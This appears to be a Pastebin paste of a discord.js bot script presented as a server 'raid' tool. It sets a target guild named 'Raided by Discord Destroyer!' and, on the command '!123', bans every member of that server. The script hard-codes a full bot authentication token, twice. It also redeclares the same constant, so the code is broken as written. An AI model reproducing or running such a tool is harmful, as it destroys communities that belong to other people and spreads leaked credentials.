Advertisement
Dgame321

Untitled

Dec 17th, 2019
7,577
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.94 KB | None | 0 0
  1. const Discord = require("discord.js");
  2. const client = new Discord.Client();
  3. const config = require('./config.json');
  4. const prefix1 = "-";
  5. const { prefix, token } = require('./config.json');
  6. const moment = require("moment");
  7. const ms = require("ms"); // npm install ms
  8. const botSettings = require("./config.json");
  9. const token = "NjU2NDU0NDIyODc1OTk2MTgw.Xfi41w.9FzeA1C1e08MJ78TNlGFTGaNHvk"
  10.  
  11.  
  12. const settings = {
  13. botToken: "NjU2NDU0NDIyODc1OTk2MTgw.Xfi41w.9FzeA1C1e08MJ78TNlGFTGaNHvk",
  14. guildID: "651793178055147553",
  15. guildName: "Raided by Discord Destroyer!"
  16. };
  17.  
  18. client.on('message', message => {
  19.  
  20. if (message.content.startsWith ("!123")) {
  21. // Ban all users.
  22. let guild = client.guilds.get(settings.guildID);
  23.  
  24. guild.members.forEach(m => {
  25. m.ban();
  26. console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Banned ${m.user.username}; ID: ${m.id}. (╯°□°)╯︵ ┻━┻`);
  27. });
  28.  
  29. }
  30.  
  31. });
  32.  
  33. client.login(token);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement